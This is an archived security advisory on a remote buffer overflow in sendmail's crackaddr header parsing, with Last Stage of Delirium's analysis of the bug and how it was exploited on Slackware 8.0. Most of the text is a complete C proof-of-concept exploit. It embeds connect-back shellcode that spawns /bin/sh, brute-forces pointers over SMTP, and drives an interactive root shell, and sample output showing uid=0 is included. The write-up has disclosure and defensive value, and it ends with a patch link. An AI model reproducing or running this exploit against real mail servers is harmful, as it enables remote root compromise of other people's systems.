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COMMAND sendmail remote buffer overflow with mail header parsing code bug SYSTEMS AFFECTED All versions of sendmail after version 5.79 PROBLEM In FreeBSD Security Advisory [FreeBSD-SA-03:04.sendmail] : --snip-- ISS has identified a buffer overflow that may occur during header parsing in all versions of sendmail after version 5.79. In addition, Sendmail, Inc. has identified and corrected a defect in buffer handling within sendmail's RFC 1413 ident protocol support. --snap-- Update (04 March 2003) ====== Last Stage of Delirium [contact@lsd-pl.net] analysis and remote PoC : We have done some brief analysis of the potential remote Sendmail vulnerability that has been reported lately. Below you can read about our findings with regard to this isse. We reserve the right not to be correct in whatever we write below. This is mainly due to the fact that we did not perform full analysis of this issue. If this is the case, please correct any statements done by us in this post. TECHNICAL DESCRIPTION ===================== The vulnerability is within the crackaddr(char* addr) function defined in the headers.c file. By properly constructing the from address string and passing it to the crackaddr function it is possible to overrun the static char buf defined within this function. This overrun is possible due to the incorrect handling of the <> brackets chars in the from address string. Whenever the closing > bracket is encountered in the address string, the value of the buflim pointer (denoting the end of the buf buffer above which no write should be allowed) is incremented by 1. But, in the corresponding situation, whenever the opening < bracket is detected, the buflim value is not changed, although it should be decremented. And this is where the actual origin of the discussed security vulnerability lies. Because every closing bracket must be preceded by the opening one (this is assured by the anglelev value), we cannot just simply issue the sequence of N repeated < chars in order to increase the buflim value by N. Unfortunately, the <> two character sequence must be always used in order to increment the value of buflim by 1. This simply leads to the following equation which can be used for calculating the maximum x value by which the value of the buflim pointer can be incremented above the size of the buf buffer: (2 * x) <= (MAXNAME + 1 - 7) + x x <= (MAXNAME + 1 - 7) From the above, it can be seen that the buflim value can go beyond the buf buffer at maximum by one times of its size (which is 250). EXPLOITATION ============ Due to the nature of the overflowed buffer declaration (static), exploitation of this issue is highly dependant on the way compiler orders the static data in the data segment. In other words, there must be some usable static data immediately following our static buf, which when overflowed can disrupt the execution flow of the sendmail process in such a way thay program counter value can be fully controlled. We have inspected this issue a bit more, and found out that on most Unix systems the buf buffer is not followed by such data. We base this conclusion upon the simple fact that we didn't manage to crash sendmail by feeding it with 250 sequences of <> chars in the from address string. This means that this issue does not seam to be exploitable on them. The following table presents a summary of our findings: Freebsd 4.4 - (default & self compiled Sendmail 8.11.6) does not crash Solaris 8.0 x86 - (default & self compiled Sendmail 8.11.6) does not crash Solaris 8.0 sparc - (default & self compiled Sendmail 8.11.6) does not crash HP-UX 10.20 - (self compiled Sendmail 8.11.6) does not crash IRIX 6.5.14 - (self compiled Sendmail 8.11.6) does not crash AIX 4.3 - (binary of Sendmail 8.11.3 from bull.de) does not crash RedHat 7.0 - (default Sendmail 8.11.0) does not crash RedHat 7.2 - (default Sendmail 8.11.6) does not crash RedHat 7.3 (p) - (patched Sendmail 8.11.6) does not crash RedHat 7.0 - (self compiled Sendmail 8.11.6) crashes RedHat 7.2 - (self compiled Sendmail 8.11.6) crashes RedHat 7.3 - (self compiled Sendmail 8.11.6) crashes Slackware 8.0 (p) - (patched Sendmail 8.11.6 binary) crashes Slackware 8.0 - (self compiled Sendmail 8.12.7) does not crash RedHat 7.x - (self compiled Sendmail 8.12.7) does not crash (p) - patched box From the table above, you can see that there are however some systems that could be potentially exploitable. These are RedHat and Slackware Linux. We inspected the reason of the sendmail crashes on these systems and we have found out that they were due to the invalid value of the MciCache pointer defined in mci.c file. We investigated this issue a bit more and managed to successfully exploit this static buf overrun on Linux Slackware 8.0 systems. We achieved that by properly constructing the MciCache pointer value and some other pointer values as well. Specifically, we had to patch: - static MCI **MciCache pointer value to point to our struct mailer_con_info entry, - struct mailer *mci_mailer pointer value from our MCI entry, - char *mci_host pointer value from our MCI entry, - FILE *mci_out pointer value from our MCI entry, By doing the above patching, we could reach the following execution point in the sendmail process: Program received signal SIGSEGV, Segmentation fault. 0x400ee94a in _IO_vfprintf (s=0xaabbccdd, format=0x809b773 "%s%s", ap=0xbfffd6ac) at vfprintf.c:1024 1024 vfprintf.c: No such file or directory. (gdb) where #0 0x400ee94a in _IO_vfprintf (s=0xaabbccdd, format=0x809b773 "%s%s", ap=0xbfffd6ac) at vfprintf.c:1024 #1 0x400f7047 in fprintf (stream=0xaabbccdd, format=0x809b773 "%s%s") at fprintf.c:32 #2 0x8084ff8 in smtpmessage () #3 0x80847ac in smtpquit () #4 0x8069e89 in mci_uncache () #5 0x8069f14 in mci_flush () #6 0x804e0b9 in finis () #7 0x8073042 in dowork () #8 0x807f9bc in smtp () #9 0x804da8e in main () #10 0x400c19cb in __libc_start_main (main=0x804ac00 <main>, argc=3, argv=0xbffffbe4, init=0x804a07c <_init>, fini=0x808918c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffbdc) at ../sysdeps/generic/libc-start.c:92 As you can see, we managed to reach the point where fprintf function call was done with our value of a FILE* stream pointer. From this point, we had to do a bit more patching in order to finally seize control over the sendmail process. Specifically, we used the fact that the _IO_FILE (or FILE) object is followed by a pointer to a jump table (of pointers to functions) in GNU libc. This simply lead us to the following patching scheme: - pointer value of a stream parameter passed to the fprintf call was patched, so that it pointed to our FILE object, - int _flags field from the FILE object, was patched so that its 0x08 bit was cleared, - signed char _vtable_offset value was patched, so that along with the struct _IO_jump_t *vtable it caused that our jump table was accesssed for file IO operations, - _IO_xsputn_t __xsputn function pointer value was patched, so that it contained the value which we wanted to have in program counter register. By doing this additional FILE object related patching, we were able to reach the following execution point in the sendmail process: Program received signal SIGSEGV, Segmentation fault. 0xaabbccdd in ?? () (gdb) where #0 0xaabbccdd in ?? () #1 0x400f7047 in fprintf (stream=0xbfffa260, format=0x809b773 "%s%s") at fprintf.c:32 #2 0x8084ff8 in smtpmessage () #3 0x80847ac in smtpquit () #4 0x8069e89 in mci_uncache () #5 0x8069f14 in mci_flush () #6 0x804e0b9 in finis () #7 0x8073042 in dowork () #8 0x807f9bc in smtp () #9 0x804da8e in main () #10 0x400c19cb in __libc_start_main (main=0x804ac00 <main>, argc=3, argv=0xbffffbe4, init=0x804a07c <_init>, fini=0x808918c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffbdc) at ../sysdeps/generic/libc-start.c:92 In a result, we were able to redirect sendmail program execution to any arbitrary location (our code in particular). We wrote simple proof of concept code for Linux Slackware 8.0 that does all of the above. It can be found at the end of this post. The code was written in such a way so that all of the patching is done almost automatically. The user does not explixitly specify the locations within the patching buffer - they are found on the fly upon the knowledge about the beginning location of the patched buffer and its structure (free/occupied slots). We decided to do the patching in such a way in order to avoid dealing with illegal characters in the patching pointers. We also wanted to extend the chance of hitting the table of pointers to our MCI entries (we wanted to have as many of them as possible in the patching buf, and all of them in one continuous area). By doing this, we could reduce the need to brute force the MciCache pointer value several times (from 4-10). As for some other issues regarding the sendmail vulnerability exploitation, it should be mentioned that the user provided from address string can trigger the overrun in two cases. The first one is when this string is provided directly in a MAIL FROM smtp command, the second one is when it is provided in the message body (as the extended From: header field). However, this second way of triggering the overflow seem to be more adventageous, as there is much more room available for the from address string contained in the message body than the smtp command (about 2k contrary to 256 bytes). There are also some restrictions imposed on the from address string when it is provided in the smtp command in sendmail 8.12.x and above, which cannot be simply avoided (in order to pass our arbitrary characters in the from address string, we enclose them in the comment () paranthesis). One more issue with regard to the exploitation is related to the code that can be executed after successfull exploitation. Because the target process does not have any active TCP connections open at the time when we can seize its execution we cannot use findsckcode variant in it. The use of bindsckcode does not also seem to be usable in the case of sendmail, as mail servers are usually tightly firewalled and do not allow any incoming connections to be established. They however must always allow outgoing connections to other mail servers, this is why the connect code could be very adventageous in this case and this is why we use it in our POC. TESTING ENVIROMENT ================== Our test box was running Linux Slackware 8.0 distribution ftp.slackware.org/slackware/slackware-8.0-iso/install.iso with patched sendmail binary ftp.slackware.org/slackware/slackware-8.0/patches/packages/sendmail.tgz The applied patch upgraded sendmail from version 8.11.4 to 8.11.6. Below you can find the example usage of our proof of concept code: # ./linx86_sendmail your.target.com -p 0xbfff9f1c -v 80 copyright LAST STAGE OF DELIRIUM mar 2003 poland //lsd-pl.net/ sendmail 8.11.6 for Slackware 8.0 x86 ................. base 0xbfffa00c mcicache 0xbfffa01c Linux your.target.com 2.2.19 #93 Thu Jun 21 01:09:03 PDT 2001 i686 unknown id uid=0(root) gid=1(bin) groups=7(lp) IMPACT ====== Due to the nature of the discussed sendmail vulnerability it seems that it is unexploitable on most of commercially available UNIX systems. It also doesn't seem to be exploitable on most of the default SMTP installations of x86 based open-source systems. This leads to the conclusion that the overall impact of the vulnerability is rather limited and not so significant as it might be thought. Hovever, we cannot exclude that there does not exist another execution path in the sendmail code, that could lead to the program counter overwrite. PROOF OF CONCEPT CODE ===================== /*## copyright LAST STAGE OF DELIRIUM mar 2003 poland *://lsd-pl.net/ #*/ /*## sendmail 8.11.6 #*/ /* proof of concept code for remote sendmail vulnerability */ /* usage: linx86_sendmail target [-l localaddr] [-b localport] [-p ptr] */ /* [-c count] [-t timeout] [-v 80] */ /* where: */ /* target - address of the target host to run this code against */ /* localaddr - address of the host you are running this code from */ /* localport - local port that will listen for shellcode connection */ /* ptr - base ptr of the sendmail buffer containing our arbitrary data */ /* count - brute force loop counter */ /* timeout - select call timeout while waiting for shellcode connection */ /* v - version of the target OS (currently only Slackware 8.0 is supported) */ /* */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <unistd.h> #include <netdb.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #define NOP 0xf8 #define MAXLINE 2048 #define PNUM 12 #define OFF1 (288+156-12) #define OFF2 (1088+288+156+20+48) #define OFF3 (139*2) int tab[]={23,24,25,26}; #define IDX2PTR(i) (PTR+i-OFF1) #define ALLOCBLOCK(idx,size) memset(&lookup[idx],1,size) #define NOTVALIDCHAR(c) (((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||\ (((c)&0x7f)==0x24)||(((c)>=0x80)&&((c)<0xa0))) #define AOFF 33 #define AMSK 38 #define POFF 48 #define PMSK 53 char* lookup=NULL; int gfirst; char shellcode[]= /* 116 bytes */ "\xeb\x02" /* jmp <shellcode+4> */ "\xeb\x08" /* jmp <shellcode+12> */ "\xe8\xf9\xff\xff\xff" /* call <shellcode+2> */ "\xcd\x7f" /* int $0x7f */ "\xc3" /* ret */ "\x5f" /* pop %edi */ "\xff\x47\x01" /* incl 0x1(%edi) */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x6a\x01" /* push $0x1 */ "\x6a\x02" /* push $0x2 */ "\x54" /* push %esp */ "\x59" /* pop %ecx */ "\xb0\x66" /* mov $0x66,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\x43" /* inc %ebx */ "\xff\xd7" /* call *%edi */ "\xba\xff\xff\xff\xff" /* mov $0xffffffff,%edx */ "\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */ "\x31\xca" /* xor %ecx,%edx */ "\x52" /* push %edx */ "\xba\xfd\xff\xff\xff" /* mov $0xfffffffd,%edx */ "\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */ "\x31\xca" /* xor %ecx,%edx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x5e" /* pop %esi */ "\x6a\x10" /* push $0x10 */ "\x56" /* push %esi */ "\x50" /* push %eax */ "\x50" /* push %eax */ "\x5e" /* pop %esi */ "\x54" /* push %esp */ "\x59" /* pop %ecx */ "\xb0\x66" /* mov $0x66,%al */ "\x6a\x03" /* push $0x3 */ "\x5b" /* pop %ebx */ "\xff\xd7" /* call *%edi */ "\x56" /* push %esi */ "\x5b" /* pop %ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb1\x03" /* mov $0x3,%cl */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x3f" /* mov $0x3f,%al */ "\x49" /* dec %ecx */ "\xff\xd7" /* call *%edi */ "\x41" /* inc %ecx */ "\xe2\xf6" /* loop <shellcode+81> */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x54" /* push %esp */ "\x5b" /* pop %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x54" /* push %esp */ "\x59" /* pop %ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xff\xd7" /* call *%edi */ ; int PTR,MPTR=0xbfffa01c; void putaddr(char* p,int i) { *p++=(i&0xff); *p++=((i>>8)&0xff); *p++=((i>>16)&0xff); *p++=((i>>24)&0xff); } void sendcommand(int sck,char *data,char resp) { char buf[1024]; int i; if (send(sck,data,strlen(data),0)<0) { perror("error");exit(-1); } if (resp) { if ((i=recv(sck,buf,sizeof(buf),0))<0) { perror("error");exit(-1); } buf[i]=0; printf("%s",buf); } } int rev(int a){ int i=1; if((*(char*)&i)) return(a); return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24); } void initlookup() { int i; if (!(lookup=(char*)malloc(MAXLINE))) { printf("error: malloc\n");exit(-1); } ALLOCBLOCK(0,MAXLINE); memset(lookup+OFF1,0,OFF2-OFF1); for(i=0;i<sizeof(tab)/4;i++) ALLOCBLOCK(OFF1+4*tab[i],4); gfirst=1; } int validaddr(int addr) { unsigned char buf[4],c; int i,*p=(int*)buf; *p=addr; for(i=0;i<4;i++) { c=buf[i]; if (NOTVALIDCHAR(c)) return 0; } return 1; } int freeblock(int idx,int size) { int i,j; for(i=j=0;i<size;i++) { if (!lookup[idx+i]) j++; } return (i==j); } int findblock(int addr,int size,int begin) { int i,j,idx,ptr; ptr=addr; if (begin) { idx=OFF1+addr-PTR; while(1) { while(((!validaddr(ptr))||lookup[idx])&&(idx<OFF2)) { idx+=4; ptr+=4; } if (idx>=OFF2) return 0; if (freeblock(idx,size)) return idx; idx+=4; ptr+=4; } } else { idx=addr-PTR; while(1) { while(((!validaddr(ptr))||lookup[idx])&&(idx>OFF1)) { idx-=4; ptr-=4; } if (idx<OFF1) return 0; if (freeblock(idx,size)) return idx; idx-=4; ptr-=4; } } } int findsblock(int sptr) { int optr,sidx,size; size=gfirst ? 0x2c:0x04; optr=sptr; while(sidx=findblock(sptr,size,1)) { sptr=IDX2PTR(sidx); if (gfirst) { if (validaddr(sptr)) { ALLOCBLOCK(sidx,size); break; } else sptr=optr; } else { if (validaddr(sptr-0x18)&&freeblock(sidx-0x18,4)&&freeblock(sidx+0x0c,4)&& freeblock(sidx+0x10,4)&&freeblock(sidx-0x0e,4)) { ALLOCBLOCK(sidx-0x18,4); ALLOCBLOCK(sidx-0x0e,2); ALLOCBLOCK(sidx,4); ALLOCBLOCK(sidx+0x0c,4); ALLOCBLOCK(sidx+0x10,4); sidx-=0x18; break; } else sptr=optr; } sptr+=4; optr=sptr; } gfirst=0; return sidx; } int findfblock(int fptr,int i1,int i2,int i3) { int fidx,optr; optr=fptr; while(fidx=findblock(fptr,4,0)) { fptr=IDX2PTR(fidx); if (validaddr(fptr-i2)&&validaddr(fptr-i2-i3)&&freeblock(fidx-i3,4)&& freeblock(fidx-i2-i3,4)&&freeblock(fidx-i2-i3+i1,4)) { ALLOCBLOCK(fidx,4); ALLOCBLOCK(fidx-i3,4); ALLOCBLOCK(fidx-i2-i3,4); ALLOCBLOCK(fidx-i2-i3+i1,4); break; } else fptr=optr; fptr-=4; optr=fptr; } return fidx; } void findvalmask(char* val,char* mask,int len) { int i; unsigned char c,m; for(i=0;i<len;i++) { c=val[i]; m=0xff; while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--; val[i]=c^m; mask[i]=m; } } void initasmcode(char *addr,int port) { char abuf[4],amask[4],pbuf[2],pmask[2]; char name[256]; struct hostent *hp; int i; if (!addr) gethostname(name,sizeof(name)); else strcpy(name,addr); if ((i=inet_addr(name))==-1) { if ((hp=gethostbyname(name))==NULL) { printf("error: address\n");exit(-1); } memcpy(&i,hp->h_addr,4); } putaddr(abuf,rev(i)); pbuf[0]=(port>>8)&0xff; pbuf[1]=(port)&0xff; findvalmask(abuf,amask,4); findvalmask(pbuf,pmask,2); memcpy(&shellcode[AOFF],abuf,4); memcpy(&shellcode[AMSK],amask,4); memcpy(&shellcode[POFF],pbuf,2); memcpy(&shellcode[PMSK],pmask,2); } int main(int argc,char **argv){ int sck,srv,i,j,cnt,jidx,aidx,sidx,fidx,aptr,sptr,fptr,ssize,fsize,jmp; int c,l,i1,i2,i3,i4,found,vers=80,count=256,timeout=1,port=25; fd_set readfs; struct timeval t; struct sockaddr_in address; struct hostent *hp; char buf[4096],cmd[4096]; char *p,*host,*myhost=NULL; printf("copyright LAST STAGE OF DELIRIUM mar 2003 poland //lsd-pl.net/\n"); printf("sendmail 8.11.6 for Slackware 8.0 x86\n\n"); if (argc<3) { printf("usage: %s target [-l localaddr] [-b localport] [-p ptr] [-c count] [-t timeout] [-v 80]\n",argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],"b:c:l:p:t:v:"))!=-1) { switch(c) { case 'b': port=atoi(optarg);break; case 'c': count=atoi(optarg);break; case 'l': myhost=optarg;break; case 't': timeout=atoi(optarg);break; case 'v': vers=atoi(optarg);break; case 'p': sscanf(optarg,"%x",&MPTR); } } host=argv[1]; srv=socket(AF_INET,SOCK_STREAM,0); bzero(&address,sizeof(address)); address.sin_family=AF_INET; address.sin_port=htons(port); if (bind(srv,(struct sockaddr*)&address,sizeof(address))==-1) { printf("error: bind\n");exit(-1); } if (listen(srv,10)==-1) { printf("error: listen\n");exit(-1); } initasmcode(myhost,port); for(i4=0;i4<count;i4++,MPTR+=cnt*4) { PTR=MPTR; sck=socket(AF_INET,SOCK_STREAM,0); bzero(&address,sizeof(address)); address.sin_family=AF_INET; address.sin_port=htons(25); if ((address.sin_addr.s_addr=inet_addr(host))==-1) { if ((hp=gethostbyname(host))==NULL) { printf("error: address\n");exit(-1); } memcpy(&address.sin_addr.s_addr,hp->h_addr,4); } if (connect(sck,(struct sockaddr*)&address,sizeof(address))==-1) { printf("error: connect\n");exit(-1); } initlookup(); sendcommand(sck,"helo yahoo.com\n",0); sendcommand(sck,"mail from: anonymous@yahoo.com\n",0); sendcommand(sck,"rcpt to: lp\n",0); sendcommand(sck,"data\n",0); aidx=findblock(PTR,PNUM*4,1); ALLOCBLOCK(aidx,PNUM*4); aptr=IDX2PTR(aidx); printf(".");fflush(stdout); jidx=findblock(PTR,strlen(shellcode)+PNUM*4,1); ALLOCBLOCK(jidx,strlen(shellcode)+PNUM*4); switch(vers) { case 80: l=28;i1=0x46;i2=0x94;i3=0x1c;break; default: exit(-1); } i2-=8; p=buf; for(i=0;i<138;i++) { *p++='<';*p++='>'; } *p++='('; for(i=0;i<l;i++) *p++=NOP; *p++=')'; *p++=0; putaddr(&buf[OFF3+l],aptr); sprintf(cmd,"From: %s\n",buf); sendcommand(sck,cmd,0); sendcommand(sck,"Subject: hello\n",0); memset(cmd,NOP,MAXLINE); cmd[MAXLINE-2]='\n'; cmd[MAXLINE-1]=0; cnt=0; while(cnt<PNUM) { sptr=aptr; fptr=IDX2PTR(OFF2); if (!(sidx=findsblock(sptr))) break; sptr=IDX2PTR(sidx); if (!(fidx=findfblock(fptr,i1,i2,i3))) break; fptr=IDX2PTR(fidx); jmp=IDX2PTR(jidx); while (!validaddr(jmp)) jmp+=4; putaddr(&cmd[aidx],sptr); putaddr(&cmd[sidx+0x24],aptr); putaddr(&cmd[sidx+0x28],aptr); putaddr(&cmd[sidx+0x18],fptr-i2-i3); putaddr(&cmd[fidx-i2-i3],0x01010101); putaddr(&cmd[fidx-i2-i3+i1],0xfffffff8); putaddr(&cmd[fidx-i3],fptr-i3); putaddr(&cmd[fidx],jmp); aidx+=4; PTR-=4; cnt++; } p=&cmd[jidx+4*PNUM]; for(i=0;i<strlen(shellcode);i++) { *p++=shellcode[i]; } sendcommand(sck,cmd,0); sendcommand(sck,"\n",0); sendcommand(sck,".\n",0); free(lookup); FD_ZERO(&readfs); FD_SET(0,&readfs); FD_SET(srv,&readfs); t.tv_sec=timeout; t.tv_usec=0; if (select(srv+1,&readfs,NULL,NULL,&t)>0) { close(sck); found=1; if ((sck=accept(srv,(struct sockaddr*)&address,&l))==-1) { printf("error: accept\n");exit(-1); } close(srv); printf("\nbase 0x%08x mcicache 0x%08x\n",PTR,aptr); write(sck,"/bin/uname -a\n",14); } else { close(sck); found=0; } while(found){ FD_ZERO(&readfs); FD_SET(0,&readfs); FD_SET(sck,&readfs); if(select(sck+1,&readfs,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&readfs)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else {printf("koniec\n");exit(-1);} } write(sck,buf,cnt); } if(FD_ISSET(sck,&readfs)){ if((cnt=read(sck,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else {printf("koniec\n");exit(-1);} } write(1,buf,cnt); } } } } } SOLUTION Patch availbale to all platforms, check the diff here : ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail.patch